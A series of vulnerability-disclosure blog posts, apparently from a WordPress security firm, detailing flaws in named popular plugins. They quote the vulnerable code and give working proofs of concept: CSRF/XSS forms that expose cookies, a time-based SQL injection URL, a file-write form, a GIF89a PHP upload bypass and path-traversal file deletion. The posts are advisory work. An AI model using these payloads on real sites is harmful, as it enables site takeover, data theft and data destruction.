07 Feb

Another One of the 1,000 Most Popular WordPress Plugins Contains a CSRF/XSS Vulnerability

Among the many things we do to provide our customers with the best data on vulnerabilities in any WordPress plugins they use is that we keep track of any of the 1,000 most popular plugins being closed on the WordPress Plugin Directory in case that might be due to a security vulnerability. Yesterday one of those plugins, Logo Carousel, which has 40,000+ active installations according to wordpress.org, was closed. No reason has been given for that closure so far, but in just our quick check over the plugin we found a security vulnerability that could have led to it being removed, that being a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability when saving the settings for one of the plugin’s carousels.

That is the same type of issue we found when another one of the 1,000 most popular plugins was closed three weeks ago, so if these vulnerabilities were not responsible for the disclosures, it would appear that there may be larger problem with this type of issue that is going under noticed even in the most popular plugins. That type of issue is something we have longed check for during security reviews of plugins, which we both do as part of our main service and as a separate service, so if you are interested in making sure plugins you use are secured against that and other security issues we offer a solution.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Technical Details

The plugin registers an admin page named Manage Carousels to be accessible to those with “manage_options” capability (which normally only Administrators have), which when accessed causes the function admin_pages_manage_carousels() to run:

236
237
238
239
240
241
242
243
244
245
function admin_pages() {
	add_submenu_page(
		'edit.php?post_type=kwlogos',
		__('Manage Carousels', 'kiwi-logo-carousel'),
		__('Manage Carousels', 'kiwi-logo-carousel'),
		'manage_options',
		'kwlogos_settings',
		array( $this, 'admin_pages_manage_carousels' )
	);
}

When that function, which is located in the file /kiwi_logo_carousel_admin.php, runs, if the POST input “submit” is set then a carousel’s settings will be changed to the values sent with the request without sanitizing them:

261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
if (isset($_POST['submit'])) {
	$default = $this->default_values;
	$parameters = array();
	$parameters['mode'] = $this->rdie($_POST['klc_mode'], $default['mode']);
	$parameters['speed'] = $this->rdie($_POST['klc_speed'], $default['speed']);
	$parameters['slideMargin'] = $this->rdie($_POST['klc_slidemargin'], $default['slideMargin']);
	$parameters['infiniteLoop'] = $this->rdie($_POST['klc_infiniteloop'], $default['infiniteLoop']);
	$parameters['hideControlOnEnd'] = $this->rdie($_POST['klc_hidecontrolonend'], $default['hideControlOnEnd']);
	$parameters['captions'] = $this->rdie($_POST['klc_captions'], $default['captions']);
	$parameters['ticker'] = $this->rdie($_POST['klc_ticker'], $default['ticker']);
	$parameters['tickerHover'] = $this->rdie($_POST['klc_tickerhover'], $default['tickerHover']);
	$parameters['adaptiveHeight'] = $this->rdie($_POST['klc_adaptiveheight'], $default['adaptiveHeight']);
	$parameters['responsive'] = $this->rdie($_POST['klc_responsive'], $default['responsive']);
	$parameters['pager'] = $this->rdie($_POST['klc_pager'], $default['pager']);
	$parameters['controls'] = $this->rdie($_POST['klc_controls'], $default['controls']);
	$parameters['minSlides'] = $this->rdie($_POST['klc_minslides'], $default['minSlides']);
	$parameters['maxSlides'] = $this->rdie($_POST['klc_maxslides'], $default['maxSlides']);
	$parameters['moveSlides'] = $this->rdie($_POST['klc_moveslides'], $default['moveSlides']);
	$parameters['slideWidth'] = $this->rdie($_POST['klc_slidewidth'], $default['slideWidth']);
	$parameters['auto'] = $this->rdie($_POST['klc_auto'], $default['auto']);
	$parameters['pause'] = $this->rdie($_POST['klc_pause'], $default['pause']);
	$parameters['klco_style'] = $this->rdie($_POST['klco_style'], $default['klco_style']);
	$parameters['klco_orderby'] = $this->rdie($_POST['klco_orderby'], $default['klco_orderby']);
	$parameters['klco_clickablelogos'] = $this->rdie($_POST['klco_clickablelogos'], $default['klco_clickablelogos']);
	$parameters['klco_alignment'] = $this->rdie($_POST['klco_alignment'], $default['klco_alignment']);
	$parameters['klco_height'] = $this->rdie($_POST['klco_height'], $default['klco_height']);
	$parameters = serialize($parameters);
	update_option( 'kiwiLGCRSL_'.$carousel, $parameters );

There should be a check for a valid nonce to prevent cross-site request forgery (CSRF) before changing the carousel’s settings.

The values are then output on the same page (they also could be output on frontend pages) without being escaped on lines like this one:

312
<td><input name="klc_speed" type="number" value="<?php if (isset($p['speed'])) {echo $p['speed'];} ?>"/></td>

That permits malicious JavaScript code set to one of the settings to be output, which is cross-site scripting (XSS).

Proof of Concept

The following proof of concept will cause any available cookies to be shown in an alert box on the page /wp-admin/edit.php?post_type=kwlogos&page=kwlogos_settings, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/edit.php?post_type=kwlogos&page=kwlogos_settings" method="POST">
<input type="hidden" name="klc_speed" value='"><script>alert(document.cookie);</script>' />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
04 Feb

The WordPress REST API Opening Up New Front for Security Vulnerabilities in WordPress Plugins

When it comes to the causes of security vulnerabilities in WordPress plugins we haven’t seen something truly new for some time, so that makes something we recently started seeing a pickup of, notable. That being vulnerabilities that are exploitable through WordPress’ REST API. The vulnerabilities are not caused by the REST API, but increasing usage of it in plugins is making more code accessible through it that isn’t properly secured. The API was introduced in WordPress 4.4, which was released back in December, 2015, so this comes with a bit of delay (maybe because developers were waiting till there was wide adoption of WordPress versions that supported it).

Right now we are continuing to evaluate how to respond to this in terms of things like our Plugin Security Checker and in the security reviews we do of plugins. For the latter, we are going to starting doing some checking over this type of code during upcoming reviews to get a better idea of what is going on, before considering official adding any checks related to it our reviews.

A vulnerability we happened to run across seems to show a good example of how usage of the REST API can exacerbates security problems.

While starting to check over code in the plugin Accessibility Suite by Online ADA due something it being flagged by our proactive monitoring of changes made to WordPress plugins in the Plugin Directory to try to catch serious vulnerabilities we happened across this line of code with a SQL statement that wasn’t properly secured with a prepared statement:

55
$results = $wpdb->get_results("SELECT * FROM $table_name WHERE SCANID = $scan_id");

There are two variables in that, which if they included user input, could lead to a SQL injection vulnerability.

The first, $table_name, doesn’t include user input, so it isn’t an issue:

53
$table_name = $wpdb->prefix . "oada_scans";

The other variable comes from a value passed to the function that code is in:

46
static function get_scan_data($scan_id)

That function is called in three locations and all of them pass user input as the value.

One of those is in the function guideline_csv() in the file /includes/rest_routes/csv-routes.php:

17
18
19
function guideline_csv($request)
{
    $scan_data = Helper::get_scan_data($_GET["scan_id"]);

That function in turn is register to run through the REST API:

8
9
10
11
12
13
14
15
add_action( 'rest_api_init', __NAMESPACE__ .'\\csv_guideline_download' );
function csv_guideline_download() {
   register_rest_route( 'ada-plugin/v1', "/guidelinecsv", array(
       'methods'  => 'GET',
       'callback' => __NAMESPACE__.'\\guideline_csv'
 
   ) );
}

That registration allows anyone to access guideline_csv() and pass user input that leads to SQL injection by making a request to /wp-json/ada-plugin/v1/pagecsv.

Seeing as the legitimate usage of that functionality is accessed through the plugin’s Scan Results page in the admin area of WordPress, it doesn’t seem like it would be intended to be accessed by those not logged in. The SQL injection vulnerability is exploitable directory through Scan Results page as well, but access to that is limited to users logged in with the Editor and Administrator roles. So the insecure usage of the REST API made the situation worse, though the SQL injection vulnerability should have been avoided even if it existed by properly securing the SQL statement (which is something that we already check for in our security reviews).

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Proof of Concept

With the following proof of concept it will take varying amounts of time for the page to load depending on how long you specify MySQL sleep function to run.

Make sure to replace “[path to WordPress]” with the location of WordPress, “[scan id]” with the ID of scan report, and “[sleep time]” with how many seconds you want sleep to occur for.

http://[path to WordPress]/wp-json/ada-plugin/v1/pagecsv?scan_id=[scan id] AND SLEEP([sleep time])
04 Feb

Our Proactive Monitoring Caught a Restricted File Upload Vulnerability in Accessibility Suite by Online ADA 

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that we caught a restricted file upload vulnerability in the plugin Accessibility Suite by Online ADA that would allow an attacker to write arbitrary content to file on the website. The file has a .png extension, so the vulnerability could be directly used to upload image the attacker wanted, it could also be combined with a local file inclusion (LFI) vulnerability to cause arbitrary code to run on the website.

Since our Plugin Security Checker checks for the same type of code, it will alert you if plugins you use possibly contain the same type vulnerable code (and possibly contain more serious vulnerable code). From there if you are a paying customer of our service you can suggest/vote for it to receive a security review that will check over that or you can order the same type of review separately.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Technical Details

The plugin makes the function save_snapshot() accessible through WordPress’ AJAX functionality to those logged in to WordPress as well as those not logged in:

400
401
add_action("wp_ajax__oadaas__save_snapshot", __NAMESPACE__ . '\\save_snapshot');
add_action("wp_ajax_nopriv__oadaas__save_snapshot", __NAMESPACE__ . '\\save_snapshot');

It looks like it is only intended to be accessed by those logged in to WordPress though.

The function, which is located in the file /includes/ajax_functions/core.php, takes the value of POST input “b64”, base64 decodes and then saves it as the contents of the file /wp-content/uploads/oadaas/snapshot.png:

402
403
404
405
406
407
408
409
function save_snapshot()
{
	if (!isset($_POST["b64"])) return;
	$image_b64 = base64_decode($_POST["b64"]);
	$file = wp_upload_dir()["basedir"] . "/oadaas/snapshot.png";
	$result = file_put_contents($file, $image_b64);
 
	echo wp_upload_dir()["baseurl"] . "/oadaas/snapshot.png";

Proof of Concept

The following proof of concept will write the specified content to the file /wp-content/uploads/oadaas/snapshot.png.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[base64 encoded content]” with the base64 encoded version of the content of the file.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=_oadaas__save_snapshot" method="POST" >
<input type="hidden" name="b64" value="[base64 encoded content]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
01 Feb

Full Disclosure of Authenticated Arbitrary File Deletion Vulnerability in WordPress Plugin with 300,000+ Installs

Yesterday we full disclosed an authenticated arbitrary file upload vulnerability in the WordPress plugin Meta Box, which has 300,000+, that we had spotted as it was introduced in to the plugin. Subsequent to that the plugin was closed on the Plugin Directory and that got flagged as part of our monitoring for the closure of any of the 1,000 most popular WordPress plugins (it has been a busy week for that, as six of them have been removed). When those plugins get closed we do a few quick security checks over the plugins to see if there might be any obvious security issue in the plugins, which we should be warning our customers about, even if that didn’t lead to the closure. In this case we knew why the plugin was closed, but we did those checks anyway, which led to us finding the plugin also contains an authenticated arbitrary file deletion vulnerability. That vulnerability looks like it was connected to the change that also introduced the authenticated arbitrary file upload vulnerability.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Technical Details

The plugin registers the function ajax_delete_file() to be accessible through WordPress’ AJAX functionality to anyone logged in to WordPress:

36
add_action( 'wp_ajax_rwmb_delete_file', array( __CLASS__, 'ajax_delete_file' ) );

The relevant code in the function, which is located /inc/fields/file.php, is as follows in the latest version of the plugin:

49
50
51
52
53
54
55
56
57
58
public static function ajax_delete_file() {
	$field_id = filter_input( INPUT_POST, 'field_id', FILTER_SANITIZE_STRING );
	check_ajax_referer( "rwmb-delete-file_{$field_id}" );
 
	$attachment = filter_input( INPUT_POST, 'attachment_id' );
	if ( is_numeric( $attachment ) ) {
		$result = wp_delete_attachment( $attachment );
	} else {
		$path = str_replace( home_url( '/' ), ABSPATH . '/', $attachment );
		$result = unlink( $path );

That will check for a valid nonce to prevent cross-site request forgery (CSRF) and then will delete an arbitrary file if the POST input “attachment_id” specifies a value like “http://example.com/test.txt”.

The value for a valid nonce can normally be accessed by users with the Contributor role or above if the File meta box is being used, as can been seen with the Proof of Concept below.

Oddly, the AJAX deletion functionality doesn’t appear to even being used.

Proof of Concept

Add the following code to the active theme’s functions.php:

function your_prefix_get_meta_box( $meta_boxes ) {
	$prefix = 'prefix-';
 
	$meta_boxes[] = array(
		'id' => 'untitled',
		'title' => esc_html__( 'Untitled Metabox', 'metabox-online-generator' ),
		'post_types' => array('post', 'page' ),
		'context' => 'advanced',
		'priority' => 'default',
		'autosave' => 'false',
		'fields' => array(
			array(
				'id' => $prefix . 'file_1',
				'type' => 'file',
				'name' => esc_html__( 'File', 'metabox-online-generator' ),
				'mime_type' => '',
			),
		),
	);
 
	return $meta_boxes;
}
add_filter( 'rwmb_meta_boxes', 'your_prefix_get_meta_box' );

Then the following proof of concept will delete the file test.txt in the root directory of the website, when logged in as a Contributor.

Make sure to replace “[path to WordPress]” with the location of WordPress, “[field ID]” with the value of the “data-field_id” on the page to create a new post, and “[nonce]” with the value of “data-force_delete” on the same page.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=rwmb_delete_file" method="POST" >
<input type="hidden" name="field_id" value="[field ID]" />
<input type="hidden" name="_ajax_nonce" value="[nonce]" />
<input type="hidden" name="attachment_id" value="http://[path to WordPress]/test.txt" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
31 Jan

Our Proactive Monitoring Caught an Authenticated Arbitrary File Upload Vulnerability Being Introduced in to a WordPress Plugin with 300,000+ Installs

With our proactive monitoring of changes made to WordPress plugins in the Plugin Directory to try to catch serious vulnerabilities we use software to flag potentially issues (you can check plugins in the same way using our Plugin Security Checker) and then we manually to check over the code. The second part of that can take a substantial amount of time, as while sometimes the code that runs before the potentially vulnerable code is limited and tightly woven, often it isn’t. That was the case with the code that leads to an authenticated arbitrary file upload vulnerability we found had being introduced in the plugin Meta Box, which has 300,000+ installs according to wordpress.org.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Technical Details

One of the changelog entries for version 4.16.0 of the plugin, which was released yesterday, is:

New feature: allow users to upload files to custom folders in file field.

That sounds like a minor change, but it has a big security impact it turns out.

Part of the change related to that was to add the function handle_upload_custom_dir() in the file /inc/fields/file.php. That will save arbitrary files to the website without any restrictions:

443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
public static function handle_upload_custom_dir( $file_id, $post_id, $field ) {
	// @codingStandardsIgnoreStart
	if ( ! isset( $_FILES[ $file_id ] ) ) {
		return;
	}
	$file = $_FILES[ $file_id ];
	if ( UPLOAD_ERR_OK !== $file['error'] || ! $file['tmp_name'] ) {
		return;
	}
	// @codingStandardsIgnoreEnd
 
	if ( ! file_exists( $field['upload_dir'] ) ) {
		wp_mkdir_p( $field['upload_dir'] );
	}
	if ( ! is_dir( $field['upload_dir'] ) || ! is_writable( $field['upload_dir'] ) ) {
		return;
	}
 
	$file_name = wp_unique_filename( $field['upload_dir'], basename( $file['name'] ) );
	$path      = trailingslashit( $field['upload_dir'] ) . $file_name;
	move_uploaded_file( $file['tmp_name'], $path );

That function will run when the function handle_upload() runs if “$field[‘upload_dir’]” exists, though as you can see that value gets passed from somewhere else:

262
263
protected static function handle_upload( $file_id, $post_id, $field ) {
	return $field['upload_dir'] ? self::handle_upload_custom_dir( $file_id, $post_id, $field ) : media_handle_upload( $file_id, $post_id );

That function in turn gets run by the function view():

212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
public static function value( $new, $old, $post_id, $field ) {
	$input = $field['file_input_name'];
 
	// @codingStandardsIgnoreLine
	if ( empty( $_FILES[ $input ] ) ) {
		return $new;
	}
 
	$new = array_filter( (array) $new );
 
	// Non-cloneable field.
	if ( ! $field['clone'] ) {
		$count = self::transform( $input );
		for ( $i = 0; $i &lt;= $count; $i ++ ) {
			$attachment = self::handle_upload( "{$input}_{$i}", $post_id, $field );

When we came to that we had to change tracks try to figure how the vulnerable code would run, which required gaining an understanding of the plugin main functionality. Once we did that we found that a vulnerability existed.

The plugin provides an online generator for creating a new meta box that will be shown on the page to create a post or page. So a WordPress user at the Contributor level and above normally could access that meta box. If you create a meta box with a “HTML Image” input and set a custom folder for the uploads to be stored, the code above will run. With that, you can upload a .php file instead of an image as no checking of the file is done, as the proof of concept below shows.

Interestingly just a week ago someone brought up a concern that something like this might be possible, but at the time it doesn’t look like it was due it relying on WordPress code for handling the upload.

Proof of Concept

Add the following code to the active theme’s functions.php and add a .php file when creating a post as a user with the Contributor.

function your_prefix_get_meta_box( $meta_boxes ) {
	$prefix = 'prefix-';
 
	$meta_boxes[] = array(
		'id' => 'untitled',
		'title' => esc_html__( 'Untitled Metabox', 'metabox-online-generator' ),
		'post_types' => array('post', 'page' ),
		'context' => 'advanced',
		'priority' => 'default',
		'autosave' => 'false',
		'fields' => array(
			array(
				'id' => $prefix . 'image_1',
				'type' => 'image',
				'name' => esc_html__( 'Image Upload', 'metabox-online-generator' ),
				'upload_dir' => '../',
			),
		),
	);
 
	return $meta_boxes;
}
add_filter( 'rwmb_meta_boxes', 'your_prefix_get_meta_box' );
30 Jan

Our Proactive Monitoring Caught an Authenticated Arbitrary File Upload Vulnerability in Events Made Easy

Yesterday we disclosed an arbitrary file upload related vulnerability discovered through our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities for which the underlying vulnerable code ran despite the user interface for it being disabled. That turns out to not be a one-off issue as our proactive monitoring has also led to us finding an authenticated arbitrary file upload vulnerability in the plugin Events Made Easy where the user interface also appears to be missing. This is a good reminder of the limits of trying to look for vulnerabilities without looking at the underlying code of software.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Technical Details

By default WordPress users with the Contributor role and above can access the plugin’s functionality to add or update a person, /wp-admin/admin.php?page=eme-people. That provides the option to set an image for the person:

Clicking on that button brings up WordPress’ media uploader:

That has restrictions on what can be uploaded (and contributor level users would normally not be allowed to do uploads through that at all).

When a request to add or update a person is submitted the function eme_add_update_person() in the file /eme_people.php is run. That in turn will cause the function eme_upload_files() in the file /eme_functions.php to run.

When that function runs it will save files sent with the request to the file system using its own code instead of the code used when using the media uploader.

The code does attempt to restrict what types of files can be uploaded, but that can easily be bypassed.

First the code defines the variable $supported_mime_types to include the mime types returned by the WordPress function wp_get_mime_types():

1843
$supported_mime_types = wp_get_mime_types();

In then checks if the mime type of the file being uploaded is one of the mime types specified previously:

1920
1921
1922
1923
if (!in_array(mime_content_type($temp_name),$supported_mime_types)) {
	$errors[] = $fileName.': '.__("Incorrect file type.","events-made-easy");
	continue;
}

The problem with that is you can upload a file with a .php extension containing malicious PHP code that passes that check by simply having the start of the file be “GIF89a”, as that causes the mime type to be seen as a permitted one.

The uploaded file is given a randomized named, but a link to file is included on update user page if you uploaded the file through an existing user.

Proof of Concept

When accessing the page of an existing user, use a web browser’s developer tools to edit the HTML code of the page to add the following line to the form for updating the user:

<input type="file" name="FIELD1_1" />

Then upload a file with the .php extension that begins “GIF89a”.

After the submitting the page, go back to it and the location of the file on server will be linked to.

29 Jan

Our Proactive Monitoring Caught a CSRF/Arbitrary File Upload Vulnerability in a WordPress Plugin with 70,000+ Installs

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that we caught a less serious variant of an arbitrary file upload vulnerability in a plugin with 70,000+ installs, Slider by 10Web. The vulnerability could allow an attacker that could get a logged in Administrator to access a page they control to upload a malicious file to a website and then they could take any action they wanted with the website.

What makes the vulnerability notable in a way is that the functionality with the vulnerability is present as being disabled in the free version of the plugin:

In reality the underlying code for the functionality is not disabled, just the frontend interface.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Technical Details

Accessing the plugin’s admin Import page causes the function to run demo_sliders():

268
$demo_slider = add_submenu_page($parent_slug, __('Import', $this->prefix), __('Import', $this->prefix), 'manage_options', 'demo_sliders_wds', array($this, 'demo_sliders'));

That function will cause the file /demo_sliders/demo_sliders.php to be loaded if the user making the request has the “manage_options” capability, so normally only Administrators (that capability would also been need to access the admin page):

372
373
374
375
376
377
378
379
380
381
function demo_sliders() {
  if (function_exists('current_user_can')) {
    if (!current_user_can('manage_options')) {
      die('Access Denied');
    }
  }
  else {
    die('Access Denied');
  }
  require_once($this->plugin_dir . '/demo_sliders/demo_sliders.php');

The first code in that file will save a file sent with the request that to the directory /wp-content/uploads/slider-wd/

2
3
4
5
6
7
8
9
10
11
12
if( isset($_REQUEST['wds_import_submit']) && ! empty($_FILES['fileimport']) ) {
    require_once(WDS()->plugin_dir . '/framework/WDW_S_Library.php');
    global $wpdb;
    $flag = FALSE;
    $file = $_FILES['fileimport'];
    $dest_dir = ABSPATH . WDS()->upload_dir;
    if ( ! file_exists( $dest_dir ) ) {
      mkdir( $dest_dir, 0777, true );
    }
    if ( move_uploaded_file($file["tmp_name"], $dest_dir .'/'. $file["name"]) ) {
      $flag = WDW_S_Library::wds_import_zip_action( $dest_dir, $file["name"] );

Then the function wds_import_zip_action() in the file /framework/WDW_S_Library.php will run. A lot of code runs in that, but the end result is if you uploaded a .zip file with a .php file, that .php file will now be saved in the directories /wp-content/uploads/slider-wd/import/ and /wp-content/uploads/slider-wd/.original/.

At no point in the process is valid nonce checked for, which would prevent cross-site request forgery (CRSR).

Proof of Concept

The following proof of concept will cause a file placed in an upload .zip file to be saved in the directories /wp-content/uploads/slider-wd/import/ and /wp-content/uploads/slider-wd/.original/, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=demo_sliders_wds&wds_import_submit=test" method="POST" enctype="multipart/form-data">
<input type="file" name="fileimport" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
28 Jan

Full Disclosure of Reflected Cross-Site Scripting (XSS) Vulnerability in WordPress Plugin with 100,000+ Installs

As part of our work to further improve our Plugin Security Checker, an automated tool anyone can use to check to see if a WordPress plugin possibly contains security issues, we log the results of check for plugins in the Plugin Directory and do spot checks of those. Through that we found that the plugin, Download Manager, which has 100,000+ active installations according to wordpress.org, contains a reflected cross-site scripting (XSS) vulnerability.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Technical Details

The Plugin Security Checker flagged a couple of lines as possibly leading to a reflected cross-site (XSS) vulnerability. The first of those is the following line in the file /admin/tpls/email-template-editor.php:

38
<input type="hidden" name="id" value="<?php echo $_GET['id']; ?>" />

That line will out the value of the GET input “id” without escaping it. That line runs when accessing the plugin’s email template editor in the admin area of WordPress. As the proof of concept below shows, nothing elsewhere in the code prevents reflected XSS from occurring when that line runs.

Proof of Concept

The following proof of concept will cause any available cookies to be shown in alert box, when logged in as an Administrator. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/edit.php?post_type=wpdmpro&page=templates&_type=email&task=EditEmailTemplate&id="><script>alert(document.cookie);</script>
28 Jan

Arbitrary File Deletion Vulnerability in Ad Manager by WD

When it comes to collecting data on WordPress plugin vulnerabilities one of the things that sets us apart is that we check over reports before adding them to our data set, doing that is valuable enough that the company behind the Wordfence Security plugin lies and claims the data they use has been “confirmed/validated” when it hasn’t (that is far from the only thing they lie about). Doing that often leads to us finding that reports of claimed vulnerabilities are false or that vulnerabilities that are claimed to have been fixed, haven’t been (incorrectly telling people that vulnerabilities have been fixed severely limits the usefulness of other data sources). Today it lead to us finding a vulnerability in the plugin Ad Manager by WD.

Someone going by the handle 41!kh4224rDz disclosed that the current version of the plugin has an arbitrary file viewing vulnerability. When we tested that out we found that after trying the proof of concept, which allowed viewing the contents of the WordPress configuration file, wp-config.php, that the set up screen for WordPress would show when trying to access any page of the website. That would indicate that the WordPress configuration file wasn’t there anymore. That turns out to because right after the last line of code that causes the arbitrary file viewing vulnerability, the same file being viewed is passed to the unlink() function, which deletes it:

109
unlink($path);

We couldn’t find a way to privately contact the developer of the plugin about the already disclosed issue, so we did that publicly through Twitter and also mentioned this issue.

Proof of Concept

The following proof of concept will delete a file named “test.txt” in the root directory of the website.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/edit.php?post_type=wd_ads_ads&export=export_csv&path=../test.txt
25 Jan

Reflected Cross-Site Scripting (XSS) Vulnerability in Smart Forms

Earlier today we detailed a failed attempt to fix a reflected cross-site scripting (XSS) vulnerability in the latest version of Smart Forms. When putting together a post detailing a vulnerability discovered by others, we check to see if that vulnerability is something that would have been caught by our Plugin Security Checker, an automated tool anyone can use to check to see if a WordPress plugin possibly contains security issues, so that we can continue to improve that tool. With this plugin we found the code that was attempted to be fixed was flagged by the tool and an additional line of code that wasn’t changed in the latest version of the plugin was also flagged. Further checking confirmed that additional line was also vulnerable.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Technical Details

The line of code flagged by the Plugin Security Checker is the following:

59
<form style="display: inline; margin-left:10px;" id="sfFileUploadForm" method="post" enctype="multipart/form-data" target="_self" action="?page=<?php echo $_REQUEST['page'] ?>&action=upload">

That will output the value of the GET or POST input “page” without escaping it and would likely lead to a reflected XSS vulnerability unless other code that blocked that from happening ran before that.

Looking the surrounding code we found that code will run when visiting the plugin’s main admin page, /wp-admin/admin.php?page=smart_forms_menu. Since the GET version of “page” is set to something that couldn’t lead to XSS in that URL that limits that from being used to cause XSS. But you can send separate values for the GET and POST version of it, so you could also send the POST version with malicious JavaScript code and under normal settings that will be treated as the value of the REQUEST version of it instead of the GET version.

No code that runs before that line of code stops that, as can be seen with the proof of concept below.

Proof of Concept

The following proof of concept will cause any available cookies to be shown in alert box, when logged in as an Administrator. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=smart_forms_menu" method="POST">
<input type="hidden" name="page" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>